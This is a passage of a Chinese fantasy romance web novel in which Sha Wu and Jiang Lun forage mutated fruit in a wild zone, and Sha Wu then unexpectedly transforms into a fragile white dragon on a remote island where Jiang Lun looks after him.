没一会儿，他们所在的房车边上多了一辆房车。 梁管家从上面走了下来。 小丑鱼和虾同学招呼：“梁伯好。” 梁管家笑着说道：“你们好啊，玩得开心吗？” “开心！” “明天带你们去远一点的地方玩。现在应该还有荔枝。”梁管家笑呵呵地规划行程。 姜祁有点想反驳，但马上又躺回吊床上：“算了，小少爷都来了。” 天上，姜纶已经带着沙伍飞远了，落在一座山头上：“抢走了，把你变成我的压寨夫人。” 原本埋在他肩窝的沙伍忍不住笑出声：“我就说你也喜欢看电影，自己一个人看了些啥？” 姜纶哼哼：“看了一些生理科普知识。” 第74章 真的？ 姜纶对沙伍进行了长达半小时的“出门就丢”的批评教育，成功让沙伍改亲为咬。 沙伍叨着他的脖子肉磨牙。 姜纶非但不接受威胁，反而还进行挑衅：“咬重点。” 沙伍迟疑，自己真的一口下去，是会把姜纶咬破皮，还是自己咬掉牙。 挣扎了半分钟，他还是选择松口：“哼。” 姜纶低头在他耳边轻笑：“不咬啦？” “有的是咬的时候。”沙伍输人不输阵，成功看到姜纶突然涨红脸，然后开始跳脚。 “天天瞎撩！哪天我忍不住就把你吃了！” “吃了！” “吃了！” “吃了！” 大山传来回音。 沙伍愣了一下，随即笑倒：“哈哈哈！来、来人，有、有妖怪哈哈哈。” “再说！”姜纶揽着他的腰直接把他抱起来，接下来也不知道该怎么办，直接把人往肩膀上一扛。 “顶到胃了！换个姿势！”沙伍拍他后背抗议。 姜纶只能把他背着，双手抄着他的膝弯：“这样舒服了？” “嗯~”沙伍趴在姜纶的背上往下一指，“你现在的驱逐光环已经影响到人了吗？那些人怎么都跑了？” 姜纶顺着他的视线看过去，果然看到一队十几个人在往外面走。 沙伍抽了抽鼻子：“他们中间有人受伤了，有熟人的味道。我们要去帮他们吗？” “可以去看看。”姜纶踩着飞板背着人往下，很快就追上了前面的小队。 沙伍认出其中两个是刘叔身边的人，嗅到其中更加明显的污染味道：“我给你们套个泡泡，可以缓解污染值继续上升。” 他们知道沙伍是净化者，犹豫了一下，并没有抗拒：“谢谢。” 他们听沙伍说泡泡，还以为是什么净化者的特殊技能，结果就是个很普通的膜。 膜谁都会，在真正野外的时候，膜是24小时维持的。 膜，哪怕是净化者的膜，还能有阻止污染值上升的作用？ 吹什么呢？ 一个一级，又不是姜祁先生那样的八级……等等，好像真的稳定下来了。 他们刚才经历了一场还算比较困难的战斗，动用了一些污染。 运用污染来提升力量容易，但是事后想要压制回去就很难。 他们需要一个安静且安全的环境，这次出行的任务已经完成，于是在往回赶。 没想到先是看到茫茫多的动物全都四散逃离，接着又听到一些不可描述的对话，每一样都让他们没法静下心来，只会让他们的污染值飙升。 好吧，并没有小情侣打野那啥，完全是他们这些大人思想龌龊。 既然遇到了，沙伍他们就顺手把他们带回营地。 作为感谢，他们给了沙伍一些味道不错的变异水果。 等他们在营地的客房里把污染值彻底控制住，脑子也冷静下来后，突然发现了一个问题：“一块飞板能带那么多人？” “飞板公司出新型号了？” “再怎么新型号应该也不能带十几个人吧？” 要知道所有飞板的产品简介都是“建议一人使用”。 在实际使用过程中，确实会遇到会载重两个人的情况，但是这会让飞板的耗能大幅提升，以及严重影响飞板的使用寿命。 要一下带上十几个人，起码得是高级一点的小飞车。 而且像飞鸟飞虫众多的野外，一般也不建议使用一些飞行交通工具。目标太大，容易遭受攻击。 刚才他们回来是一点攻击都没遇到，带他们的只是两个年纪不大的年轻人，又不是姜祁那样的大佬。 八级大佬应该也达不到这种效果吧？ 真奇怪。 他们去问了刘叔。 刘叔也不清楚：“不知道啊。” 对于战队的疑惑，刘叔心底里琢磨应该是一些比较厉害的异能物品。 来人毕竟是姜家小少爷，身上带点厉害东西才是正常。 “你能帮忙问问姜祁先生他们吗？”有三个八级存在的地方，他们不太敢靠近。 刘叔两手一摊：“问不了，他们走了。” “啊？这么快就回去了？” 刘叔不置可否，感觉房车飞走的方向并不是回城。 确实不是回城，而是直接进入到菠萝的海的……“核心区？” “不是。你们几个自保的能力都没有，进什么核心区？”祁叔说话一点都不客气。 梁管家笑道：“带着小少爷，我们可以多摘一点水果回去，顺便看看有没有合适的变异品种。” 薛春是木系和土系异能，姜祁是净化和木系异能，这也是他们俩会负责在朱雀城保护沙伍的原因。 正常来讲的话，他们会在沙伍离开朱雀城后，开启自己的度假生活，在华南这片木系天堂里进行探索和冒险。 “要是小少爷不在的话，我们能抓点本地特色的虫子吃。” 小丑鱼很好奇：“什么虫子？很好吃吗？” 虾同学也很好奇。 薛春打开自己的手环，找过去记录的照片：“喏。大概就是这些。这边水果多嘛，有很多吃水果长大的虫子，味道很好。一口爆浆，有水果的天然甜味，还有蛋白质的香气，懂吧？” 虾同学不太能想象，问小丑鱼：“你家离这么近，没吃过吗？之前那个水果营地也没有吗？” “没啊。”小丑鱼眼巴巴看着，“我都没在菜场和饭店看到过。” “正常。这些虫子很脆弱，得现抓现吃，死了就不好吃了。”薛春难得有些馋地咂咂嘴，对姜祁说道，“祁叔，阿大阿二这次没跟来，不然让他们烤。他们的火候掌握得好。” 从刚才薛春提到虫子的时候，姜祁就一直在笑：“他们算了。他们小时候我带着来过好几次，两个人都挺爱吃的，后来有一天抓到了一条三级变异巨大化的荔枝蒂蛀虫，突然就死活不愿意吃了，现在连华南都不愿意来。本来按照他们的天赋，我想送他们到朱雀学院来的。” 小丑鱼和虾同学对吃虫子完全没有心理障碍，反倒好奇地问：“那后来林大哥和林二哥去哪儿上的大学？” “后土学院，离家近。”姜祁无奈叹息，“其实朱雀学院的火系异能方面的老师实力更强，他们偏偏就因为怕虫子不愿意来。朱雀城也不是那么多虫……”他想到刚经历的一次变异虫潮，顿了顿，改口，“也不是非得要吃虫子。毕竟朱雀城美食多啊。山珍海味的，一年四季各种水果鲜花蔬菜不断。” 朱雀城本地人小丑鱼说道：“肯定要吃虫子的。不在饭桌上吃虫子，也要在医院吃虫子。净化原液就是变异蟑螂汁，每年虫潮之后，都会稀释后喷洒净化环境，治疗就更不用说了，效果特别好。” 他是无所谓，实用主义，能用就好。 虾同学也是一样的，看了看飞在前面的房车：“我们跟在沙伍他们后面？” 梁管家说道：“小伍有飞车驾照。” “不是，我有点担心。”不应该是实力强大的梁伯伯他们开道，让沙伍和姜纶跟在后面吗？ 梁管家补充：“小少爷也有飞车驾照。” 虾同学想说他担心的是他们的安全，但看梁管家他们这样，大概是不用担心的吧？ 他有些担心地看着外面。 房车的速度很快，刚才还能看到一两条清晰的人工修理出来的道路，现在已经完全看不出来了。 附近的树木都比营地附近要高出一大截。 虾同学不自觉地搓了搓手臂。 “冷吗？是不是冷气开太低了？”梁管家看了一下车内的温度。 “没，就是感觉心里面有点毛毛的。” 小丑鱼也没了声音，往虾同学身边靠了靠，感觉没什么安全感，又挨到梁管家身边：“梁伯伯。” 梁管家显然有些意外：“没事的，我们这么多人在呢。这样，一会儿你们别下车。” 虾同学越是害怕，越是趴在窗口往外面看：“好多鸟在飞！” “蛇、蛇在飞！” “树？在飞？” “哦，来了，七级的。” 虾同学和小丑鱼都没分清楚究竟是谁在说话，就见姜祁、梁管家和薛春都飞了出去。 房车进入托管状态，跟之前开在他们前面的房车连接在一起。 姜纶走了过来：“你们不出去玩？” 虾同学和小丑鱼抱在一起瑟瑟发抖，不敢置信：“出去玩？！” 外面是七级和八级的战斗，他们这种一级的进场跟炮灰有什么区别？ 姜纶指了指外面：“小鲨鱼就玩得很开心。” 两人下意识扭头，果然看到沙伍踩着飞板在飞来飞去，时不时放出一条异能小鲨鱼，从一个极其刁钻的角度，从被围攻的荔枝树上咬下一颗荔枝。 七级变异植物被三个八级玩弄于股掌之间，很快就被小鲨鱼泡泡收起来，又种回了回去。 沙伍飞回房车，手上拿着许多荔枝：“这个荔枝味道超绝好吃……啊？你们原来……对不起，我不知道。我跟过来是不是打扰了，我应该自己去住酒店，我……” 姜纶把他拉到客厅位置，不要站在门口，不太明白沙伍在说什么，眼神疑惑地投向小丑鱼和虾同学，看了一会儿，才意识到原来两个人是抱在一起的：“啊。”原来这两人是一对，“恭喜。” 小丑鱼和虾同学被说得一愣一愣的，本来在周围高阶变异植物的氛围中就已经被吓得卡顿了，这一下更是愣了很久才意识到问题，面面相觑，烫着了一眼松开手。 “不是！” “我们不是！” “我们真不是一对！” 沙伍不太理解：“没事啊，我们又不会反对。” 小丑鱼气得冲过去殴打沙伍，被沙伍反过来殴打。 沙伍往他嘴里怼了一颗荔枝：“冷静了吗？” “……嗯。”谁家荔枝有苹果这么大！ 麻蛋，荔枝皮好扎嘴！ 虾同学选择绕开一对不一对的话题，自己拿了一颗荔枝剥来吃：“你们刚才那一通忙活干嘛呢？不取晶核吗？” 薛春和姜祁人手一堆荔枝枝条，正在抓紧用一些奇怪的药剂进行眼花缭乱地处理。 “不是，我们取点样品，看看能不能培育出来。” “高级变异植物很有培养的价值。” “就算不能培育到母本的七级，也可以试试能不能保留它的口味。”姜纶觉得这棵荔枝的味道还不错，“看看能不能再找一些别的荔枝树。” 姜祁没听到沙伍说话，心口突突的，仔细一找，果然看见沙伍蹲在角落，吃得跟个暴食的蘑菇一样：“小伍！住嘴！你不能再吃了！” 连刁民小少爷都觉得口味不错的荔枝，就知道沙伍肯定爱吃。 沙伍一抬头，一行鼻血流下：“我才吃了三个！” 沙伍被姜纶带去处理鼻血了。 梁管家微笑：“刚才好像看到有变异苦瓜，我去摘一点。你们按照原计划走。我一会儿追过来就好。” 小丑鱼的手从第二颗荔枝上放下：“这么大颗的荔枝，我能不能带两颗回去给我爸妈？” “可以啊。顺便我教你怎么用异能保鲜。”姜祁开始非常实用的异能生活小技巧教学。 小丑鱼的学习速度一如既往得快。 虾同学也学会了。 然后他们就看见姜祁把一堆荔枝放进保鲜柜里：“有保鲜柜当然是放保鲜柜最好。不过一般野外采集，可能没有保鲜柜，或者保鲜柜的效果没那么好，就可以用我刚才教你们的方法。” 接下来，他们在所谓的非核心区，收获了许多变异菠萝、变异芒果、变异杨桃、变异火龙果等等各种水果个体和苗子。 姜纶把小丑鱼和虾同学送回家。 装满了东西的房车没法折叠，小丑鱼家的露台停不下，只能停在屋顶的停车场上。 小丑鱼叫来大楼的家政机器人，把他和虾同学两个人的东西搬回家。 姜纶带着梁管家和沙伍一起，跟在后面，去感谢了一番花家爸妈对沙伍的照顾。 花妈妈是经常在外面跑的人，见识过许多形形色色的人，一看姜纶和梁管家的样子就觉得不一般，再想到沙伍带他们家花杨蓉参加拍卖会，心里面对姜纶的身份有了揣测。 哪怕她有着丰富的待人接物的经验，也不知道该怎么招待姜家小少爷才不会失礼。 还好姜纶他们并没有久坐，沙伍很快把自己的一点点行李整理完，跟花家道别。 花妈妈看着房车离开，转头问儿子：“你不是说跟姜家小少爷不熟？” “是不熟啊。姜纶平时都不来上课。”小丑鱼理直气壮，“一年了，我们都没说上过几句话。” 花爸爸反应比较慢：“姜家小少爷是后土城的那个姜家小少爷？” “那不然呢。他们开过来的那辆房车看到没？这种户外用的版本，最起码八位数以上！”这是普通家庭能够开得起的吗？ 别看价值八位数的豪车也不少见，但是户外用的车，属于消耗品，一般二般的有钱买得起也不一定用得起。 那辆房车的功能相当于一个野外小型堡垒，用于日常消耗的晶核是一个非常惊人的数字。 小丑鱼“哦”了一声，疑惑：“可是我们出发的时候，房车就停在露台上，你们不都看到了吗？” “那是同一个型号的？”花妈妈惊讶。 “对啊。一样的。”那辆房车有什么特别厉害的功能，他们这一路是没怎么感觉出来，就是拓展开来特别大，各种功能齐全，在户外也能有和家里一样的舒适度。 “哦，妈！我带了好多水果回来！” 坐着房车离开的沙伍他们这会儿已经到了一个非常庞大的种植基地。 大量的种植区块在大地上划下一道道横平竖直的线。 最外围是升起的隔离栏，周围还有在不断建设的各种工程机械。 房车降落在外围的一个巨大的方形建筑的中庭。 先一步到达的祁大厨和薛春的房车就停在一旁，有机械臂正在进行清洗和维护。 沙伍下车后，下意识看了看天空，再看了看四面高高的墙，抬手从上往下挥了挥：“阳光都照不进来，感觉好压抑。”完全不符合姜纶平时对于住宿条件的审美。 作为好几米长的宝宝，姜小龙喜欢宽敞明亮的地方。 梁管家解释：“这是仿照碉楼来建造的，属于战争防御建筑，居住功能肯定要差一点。旁边城市已经开始在建了，下次我们过来可以换成正常的房子。” “先将就两天，我们把这次的收获整理安排完就回家。”姜纶拉着他往外墙暗沉的房子里走。 房子里十分简陋。 外墙还有些雕花，内里简陋的不能说没有装饰，而是：“怎么瞧着像监测点一样？” 沙伍看着内部十分熟悉的全功能性的设备，没有哪怕是一张沙发这样的带一点舒适属性的布置。 上个学期他没少往3号监测点跑，送点食物、药品什么的，对3号监测点的非军训区域已经非常熟悉。 这个碉楼除了外观不一样，内部可以说是一模一样。 “本来就是个监测点。现在在扩建新城，有点类似东湖城，将来也是以种植和食品加工为基础。到时候会先迁一个水果研究所过来。这边的……”姜纶的话还没说完，就有机器人走了过来。 “几位客人登记一下个人信息。” 沙伍惊讶：“这不是你的？” 姜纶他们用手环扫了一下，登记完毕后先走楼梯到房间，才解释：“不是。我才21，没那么多产业。姜家的势力大部分在后土城，姚家的在青龙城，跟别的大区有一些合作。这是合作项目之一。能到处跑的九级很少。我们华夏自古以来又是民以食为天，种地这方面很看重。我又是相关的水系和土系，对种植这方面算是有亿点天赋。” “所以你就被大姐抓壮丁了。”沙伍总结。 姜纶把他抱起来就往浴室走：“抓什么壮丁，我是来抓你的！出门都不知道回家。” 看到只有不到五平米的浴室，沙伍难得感觉有些逼仄，看着不动弹的姜纶，故意问：“一起洗？” 姜纶气得脸上都浮现了鳞片的纹路：“你等着！” “切~”沙伍感觉他翻来覆去只会这么一句威胁人的话，毫不畏惧，“去给我拿换洗衣服。” 姜纶把换洗衣服给沙伍放在浴室门口，说了一声就去忙工作，等回来的时候见沙伍大字型地趴在床上，睡了个昏天黑地。 沙伍没开空调，窗户开着。 对流的风很大，把窗帘吹得猎猎作响。 说着肚子上要盖一点被子的小鲨鱼，这会儿枕头都在地上，手上压着一只金龙布偶。 姜纶走到床边，低头看着，脑子里不知道在想什么，或许是什么都没有想。 这个人，是真实存在的吗？ 他这种从出生起，就随时会毁灭自己和毁灭他人的存在，能够突然拥有这么一份幸运……不是，是奇迹吗？ 过了不知道多久，他伸手轻轻碰了一下沙伍的脸。 想象中的熟悉的柔软细腻的肌肤触感并没有出现，沉睡的少年像是幻相被一下戳破。 床上什么都没有。 一阵风吹过床上，姜纶茫然四顾。 “沙伍？” “嗬！我以后再也不乱吃东西了！偷藏的杨桃给你。”沙伍一下就从床上跳起来，从行李箱里翻出一个小拇指大小的变异杨桃，塞到姜纶手里。 一连串动作无比丝滑。 “嗯？你好香~”沙伍眼睛都没怎么张开，整个人处在半梦半醒之间，听到姜纶连名带姓叫自己，下意识反省自己干的坏事，这会儿紧紧抱住姜纶，把他压在床上，又亲又咬。 姜纶迟疑地回抱住他。 和自己胸口紧紧相贴的心跳是真的，皮肤的触感是真的，手掌下的温度是真的。 是真的？ “跟我走好不好？” 愈发浓郁的香气将沙伍包裹，他依稀听到姜纶说了什么，本着认错的态度，先“好”为敬。 监测点的警报声响彻云霄。 自动开启的屏蔽器被金色的爪子一下破开。 金色的影子从碉楼上一闪而逝，消失在天际。 梁管家他们想要去追，被一道看不见的屏障拦下。 夜鹭站在碉楼屋顶：“你们别管。真的是，暑假都不安分。” 第75章 白毛 沙伍在浓郁的香味包裹中，整个人迷迷糊糊，根本就不知道发生了什么，不知道自己在哪里，满心满眼全是姜纶。 “姜纶~” 姜纶听着他比平时更加软乎乎的声音，已经变成爪子的手臂轻轻地抱着，生怕有一点让他不舒服：“嗯。” 沙伍抬手揽住他的脖子，轻轻咬了一下他的下颌，又在他脸颊上亲了一下，再顺着亲到嘴角。 姜纶咽了咽口水，受不了他这样的磨蹭，又放任他的动作，等他终于和自己双唇交叠，才把主动权争夺过来。 怎么有人这么好看~ 这么帅的人是谁啊？ 哦，是他的小少爷啊~ 真好，我的我的我的~ 清晰的“声音”传递进姜纶的脑海，他好像进入到一种和沙伍双修的情境中。 小少爷怎么能这么好看啊~ 我也想要有锋利的爪子，长长的角。 我要跟小少爷长得一样！ 我的背鳍呢？ 沙伍感觉后背像是被人从中间砍了一刀，疼得整个人都蒙了。 人还没醒过来，眼泪就哗啦啦掉下来：“姜纶……” 百米长的金色巨龙盘踞在一座巨大的岛上，不知所措地看着被自己环绕在中间的一条纯白色接近透明的龙。 三米长的龙看上去无比瘦小，爪子甚至不能把自己从地面上支撑起来。 他半侧着蜷曲起来，后背顶出白色的骨板。 “呱。” 金龙的脑袋上突然挨了一翅膀，把一个硕大的脑袋都打偏到地上，砸出了一个坑。 金龙甩了甩脑袋，摆好姿势：“夜老师？” “一个两个的，一天天的。”夜鹭抱怨，伸长脖子仰头，金色鸟形光晕笼罩在近乎透明的白龙身上。 白色的雾气散发开来，被金色光晕笼罩住，变成一个金色的蛋。 金龙环绕着焦躁转圈，刚转到第二圈，就被夜鹭一爪子摁住：“安静！” “夜老师，沙伍是因为我的影响，改变了觉醒体吗？上次他后背也出现过白色的骨头。他是被我污染了吗？” “他没污染。”夜鹭飞到龙角上，开始整理起羽毛，想起气不顺的地方，就叨两下金龙，“倒是你，收一收，自己恢复过来，不然我把你宰了。” 姜纶以为自己会很难恢复人形，结果比想象中更加容易，尝试了一下就成功了：“我……没有污染？” 夜鹭往他脑袋上狠狠叨了两下：“才发现？没用的东西，平时都学的什么？” 姜纶皮厚，不痛不痒，盘腿坐在看不出里面情况的金色光晕边上：“小鲨鱼不是因为我的影响才这样的，意思是小鲨鱼的觉醒体就是白龙？一个人可以有两种觉醒体吗？他背上的骨板是怎么回事？” “有两种觉醒体不是很正常？”夜鹭不以为意。 “您和纳瓦尔的觉醒体，严格意义上并不是两种。”是同一种觉醒体的不同表现形式。 “那为什么大白鲨就不能是小白龙？哦，白龙应该是白龙马。大白鲨应该是鲨雕？”夜鹭认真思考，歪着脑袋，脑后白色饰羽垂向一侧。 姜纶的表情有一瞬间的扭曲：“夜老师，现在是在很严肃地讨论小鲨鱼的情况，您不要开玩笑了。” 夜鹭把脑袋正回来：“我没开玩笑啊。再说，你凭什么觉得沙伍的觉醒体就一定是大白鲨？说不定他的觉醒体一直都是小白龙呢？这家伙，从一开始隐匿性就强得离谱。擅长隐匿和伪装的异能我见得多了，你觉得沙伍像吗？” 他感觉自己的猜测很合理。 沙伍在最初的时候，就是一条营养极度不良的大白鲨。按理来说，这种身体条件应该承受不住姜纶的一丝血液，甚至都没有能力咬破皮。 现在经过了一年时间的调理，那么多资源砸进去，更加难得是蹭到了三次高阶异能者升级的生机，再怎么破烂的身体都应该恢复了才对。 偏偏他还磨磨唧唧好不全，觉醒体真的只是单纯的大白鲨？ 青龙学院历史上S级天赋值的大白鲨也不是没有过，哪一条像沙伍这样的？ 如果是神话生物的话，就能说得通了。 虽说不一定神话生物觉醒体就一定比普通觉醒体要强，但事实上几乎所有的九级都是神话生物。 现在身体恢复得差不多了，不需要伪装，显露出真身，合情合理。 另外就是这两个小家伙的双修问题，如果他们是同一个物种，那异能能够相互交流似乎也很合理？ 好像也不太对。 不是没有同种觉醒体的异能者夫妻尝试过，最后都失败了。 再说了，沙伍现在的小白龙的样子，就是真的吗？ 真的不是假的吗？ “每个人的异能都是特殊的。”姜纶觉得不是问题，“小鲨鱼只是最特别的一个。” 他“听”到沙伍说想变成和自己一样。 但是觉醒体的样子是想一想，就能变成的吗？ 夜鹭拍拍翅膀，飞到一旁的岩石上站着：“懒得跟恋爱脑说话。” 姜纶看不清楚金蛋里面的情况，焦躁地团团转：“小鲨鱼在里面怎么了？” “等他出来就知道了。” 过了一会儿，里面毫无动静。 姜纶问：“他什么时候出来？” “不知道。”夜鹭感觉这么等着没意思，准备去找点吃的，刚起飞就被拽住爪子，“撒手！” 姜纶不撒手：“您去哪儿？” “我去找点吃的。” 干哪儿来了？ 光顾着跟姜纶跑，都没注意到这是哪儿，感觉这一片岛还挺大，还没什么人，应该能找到点好东西吃。 “那你一会儿回来？” 夜鹭想想这就是个一米八的小学生，还是多一点宽容：“马上马上。” 蜕壳了又怎么样？ 身长百米又怎么样？ 小毛孩子一个。 真的是，他只是一个院长，又不是他爹妈。 夜鹭内心骂骂咧咧，先去海里吞了好几条鱼之后，才想起来找学生家长告状。 这破地方不出意外地没有信号，他飞了几分钟，才找到信号，联系到了姚昭华，说明了情况：“情况呢，就是这么个情况。你家的崽子，赶紧过来处理！” 姚昭华听完，整个人都是麻的。 说好的专属净化者，可怜巴巴小鲨鱼呢？怎么一下子就变成龙了？ 讲道理，她亲自检查过沙伍的身体，哪里像龙了？ 她对龙还能不熟悉吗？ 全世界就两条龙，一个是她妈，一个是她弟。 姚昭华活了两百多年，经历过无数惊心动魄的大场面，突然就失去了方向，发动被动技能——找妈妈。 于是，半小时后，位于靠近赤道附近的南太平洋岛屿上，迎来了姚瑞云和姜俣夫妇。 姜俣把自己的尾巴平放在地上，让老婆和儿子坐着，伸手把夜鹭捧起来，用手指摸了摸脑袋，放到姚瑞云的手上：“多亏了珹珹。” 夜鹭在姚瑞云手上转了个圈，选择尴尬理毛：“我好歹也是他们的老师。” 姜俣看着夜鹭只转了一圈，确定应该不是对着自己老婆求偶，才移开目光，放在金蛋上。 姜纶悄咪咪从爸爸的尾巴上爬下来，环绕着金蛋团好。 夜鹭注意到小了好几圈的金龙，再看看高大的姜俣，咂咂嘴。 姚瑞云问他：“珹珹想说什么？” “姜纶好像小狗。”夜鹭直抒胸臆。 姚瑞云一点都没生气，噗嗤一下笑出声：“还真挺像的。” 金龙把脑袋放在两只前爪上，听到妈妈的笑声，抬起头看了他们一眼，见没什么特别的事情，重新趴下去，尾巴轻轻甩动：“小鲨鱼在里面还好吧？” “异能很平稳，应该很不错。”就是才一级的小家伙，竟然能够屏蔽他的窥伺，真是厉害啊。 他这个在战斗方面没什么天赋的儿子，以后会不会被沙伍单方面殴打？ 嗯，一个才一级的小家伙，应该也打不疼。 不对，他们感情这么好，没什么打不打的。 姜俣用自己的尾巴摁住儿子的尾巴：“甩一地的灰。自己找点事情干去。” “嗷。”金龙抗议，“别踩我尾巴！” 然而抗议无效，金龙被一尾巴抽飞。 金龙骂骂咧咧，然而无可奈何，毕竟他打不过他爸。 悄悄飞回到附近，金龙又被姚瑞云一巴掌抽飞。 确定自己是怎么都没法守在沙伍身边，金龙只能骂骂咧咧开始搞起了基建。 这座岛屿是他看中的和沙伍的战队基地，只是一直以来都没有时间过来打理。 他想打开手环看看设计图纸，结果一点都不意外地发现手环坏掉了。 不是被他爸抽的，就是被他妈抽的。 没关系，他脑子里都记得。 土地平整夯实，规划出花园、河流、湖泊。 房屋先搭建出一个框架，不需要很多房间，毕竟只有他和沙伍两个人。 他们只需要一个卧室，也可以在天气好的晚上在沙滩上。 嗯，沙滩他得清理一下。 这沙滩怎么那么多乱七八糟的东西？ 算了，还是造一个猎人小屋吧，免得万一有人过来，非得跟他们住一起，打扰他们的生活。 离得远一点，越远越好！ 姚瑞云一直分心注意着姜纶的动作：“小纶干嘛在那么远的地方造个房子？”几乎在大岛的两端。 姜俣倒是一眼就明白了：“以防万一的猎人小屋。” 虽说这个岛屿没什么人，要不是姜纶的关系，他们也不知道这个岛，平时应该是没什么人会来，但万一呢。 反正他很能理解。 他把儿子女儿的房子都盖得离他和他老婆的住处远远的，虽然有污染源方面的考量，但想和老婆单独过日子，也是很重要的一点考量。 本来好好的，但是最近来了个风阳羽，就很烦。 好在风阳羽还能给他代班。 比起他那个大伯，风阳羽这个血缘上的堂弟显然可爱多了。 等姜纶因地制宜种植了一些本土植物，把花园规划了个七七八八后，他突然感应到什么，瞬间飞到了金蛋旁边。 这一次，金龙没有再被抽飞。 原本像是实心的金蛋表面重新变得透明，内里白色的雾气像是约束在里面的龙卷风，高速旋转下，几乎在瞬间消散，露出趴在地上的少年。 沙伍几乎保持着在碉楼客房睡觉时候的同样姿势，手上甚至抓着金龙布偶。 他的头发变成了白色，手臂上还覆盖着近乎透明的白色鳞片。 他眼睛都没睁开，就准确找到凑过来的金龙，伸手抱住了就咬，一边咬一边口齿不清地哭诉：“好疼……有人打我，我的背鳍好像坏掉了。是不是我睡觉翻身把背鳍压断掉了？” 姜纶看他后背一片光滑，试着轻轻碰了碰：“疼吗？” 小鲨鱼显然是遭了大罪了，咬人都咬不疼。 沙伍疼得哼哼唧唧说不清楚，浑身冒冷汗。 龙形的时候小小一条，人形的时候身形更加单薄。 姜纶心疼得六神无主：“妈！” 姚瑞云扶额。 这是她今天听到第二声来自子女的求助声了。 她伸出手，隔空招了招。 代表着生命力的绿色柔光包裹住沙伍。 巨大的青龙显现，孱弱的少年贴在青龙的身边，用相对来说十分纤细的四肢，紧紧缠绕住青龙的爪子。 “妈妈。” 姜俣的蛇尾在地上扫了一下：“这幅样子，先回家养着吧？” 青龙眼神温和地看着沙伍：“不，这是大海的孩子，得留在海边。”她看着金龙，“好好照顾他。” 青龙说完，带着姜俣和夜鹭一起走了。 姜纶目瞪口呆：“妈？” 不是，把他们两个人丢下荒野求生？ 至少把房子里的链路给弄好啊。 他们是人，不是野生动物啊！ 昏睡中的沙伍毫无所觉，只是把青龙爪子换成金龙爪子抱着。 姜纶浑身僵硬，看着沙伍胳膊上格外细小的鳞片，纤薄到似乎能够透过鳞片看清楚皮肤下血管走向，轻轻一碰就会皮开肉绽。 他家小鲨鱼不是一向自称行走的鲨纸，蹭一下就能把人刮下一层肉来的大鲨器，怎么突然一下子画风就变成这样了？ 现在该怎么办？ 他是不是该给小鲨鱼准备点吃的？ 应该先给小鲨鱼准备个舒服点的地方，这里甚至是个碎石滩。 可是，他不敢动。 过了不知道多久，沙伍哼哼唧唧地爬到了金龙背上。 姜纶问：“小鲨鱼，醒了？” 沙伍不吱声。 姜纶维持一个姿势太久了，下意识甩了甩前爪，又抖了抖后腿：“你抓牢了，我们去新家啊。” 他给自己套上一个泡泡，十分慎重，飞得像一根扁担。 新家只有一个光秃秃的半石头半土坯房子框架。 姜纶犹豫是把小白龙放在光秃秃的客厅，还是光秃秃的卧室，虽然两者看上去并没有什么区别。 “睡觉，应该回房睡觉。” 最后，小白龙被安置在房间的海水池子里。 没错，姜纶在房间里挖了个海水池子。 这是在他画设计稿的时候就有的东西，想着自己和小鲨鱼都喜欢待在水里，偶尔也可以待在水里……所以池子很大很深。 现在，他担心沙伍会淹死。 沙伍沾水就变成了小白龙。 金龙把即将沉底的小白龙扒拉到自己背上。 小白龙趴了一会儿，又往池子里游，扒拉了两下爪子，就继续沉底。 沉底了就又被金龙捞起来。 来来回回不知道多少次，小白龙终于是被烦清醒了，生气：“干嘛！” “醒了？” “嗯？”沙伍下意识往水里面游，摆了摆翅尖突然感觉不对，张嘴吐出一个泡泡，呛了一口水，被金龙托着到池子边趴着，猛咳，“咳咳咳！” 姜纶变回人形，把小白龙抱到自己腿上，轻轻拍背：“别急。” 沙伍好不容易缓过来，眨了眨莫名有些酸涩的眼睛：“我的翅尖没了！背鳍也没了！” 他想看看自己现在变成了怎么个鬼样子，找到手环点开……点不开：“手环坏了。” 姜纶无奈叹息：“我的手环也坏了。是不是要看你现在的样子？” “嗯。”来吧，伍哥是不是变成丑八怪了？ 姜纶凝结了一层冰，调整了一下角度。 沙伍勉强从冰面上看清楚自己现在的样子：“咦？” 他下意识一扭头，看到一条摆过来的尾巴，想都没想就是一口。 “嗷——” 姜纶看得又心疼又好笑：“你干嘛咬自己？”还好，没咬破鳞片。 “没咬过……随便咬咬。”小白龙试着走两步，四肢慢慢撑起来，又慢慢往四个方向滑开，最后变成一张龙，摊平在地上，“我是不是你的口水吃多了，所以觉醒体被你感染了？” 他还记得之前也有过一次，说起来也是到朱雀城。 整个被污染的过程他印象很模糊，但自己确实好像有过形态方面的变化。 “爸妈和夜老师都说不是，是你本来就长这样。” 小白龙有气无力地反驳：“那不可能。我跟爪爪不熟。我喜欢我的翅膀。” 说到翅膀，他下意识扭动了一下，仿佛听到后背咔咔的声响。 “背还疼？” “反正就没一个地方舒服的。”沙伍试着变回人，异能像是离家出走了一样，根本没法变。 要说污染，他脑子清醒得很，完全没有被污染。 他划拉了一下四肢，摆了摆尾巴：“饿。” “你待在别乱跑，我去弄点吃的去。” 沙伍看着姜纶出去，没一会儿带回来一些水果和贝类。 小白龙对贝类不屑一顾，一口榴莲一口山竹，吃完又炫了两个木瓜。 姜纶给他递了一个海螺：“来一个？” 小白龙扭头：“吃饱了，不吃。” 像是怕姜纶让他再吃东西，他赶紧开溜：“我去外面转转！” 姜纶看他四条腿各跑各的，竟然跑得还挺快，可恨手环坏了，不然录下来得在将来换多少姿势！ 不是，他的意思是将来得是多美好的回忆。 和光秃秃的室内不一样，户外的小花园里，鲜花水果一样不缺，甚至已经吸引了一些前来觅食的不速之客。 小白龙趴在一丛树荫下，观察着这条新生的食物链。 盛开的鲜花，授粉的蝴蝶，猎捕的昆虫，食虫的小型哺乳动物，猎捕小动物的更大的动物。 然后他看到一只同样有着四只爪子的长条形生物。 天哪，这是什么丑东西！ 那是一只有着像干燥泥土一般灰白色皮肤的巨蜥，一边走路一边吐着信子，身上环绕着许多苍蝇，光是看着就像是能够闻到那股恶臭。 小白龙悄默声地顺着树干爬上去，头一次没有看到个东西就想咬咬看的想法，虽然看上去肉挺多的。 等等，他是不是也变成了这幅丑样子？刚才姜纶给地冰块上看不太清楚。 有四条腿，长长的身体。 他低头看了看自己的尾巴。 哦，尾巴不一样。 他尾巴上有毛，也有头发，还是白色的。 不管是什么，白色的肯定不会太难看。 巨蜥显然没有发现沙伍，对这片新生的地区似乎很感兴趣，像是在考虑要不要占据下来作为自己的地盘。 它马上就打消了这个想法，感受到一股无比恐怖的气息，瞬间连滚带爬跑了个没影。 沙伍也看着花园里的食物链直接消失不见，连花草都在瑟瑟发抖。 哦，风吹的。 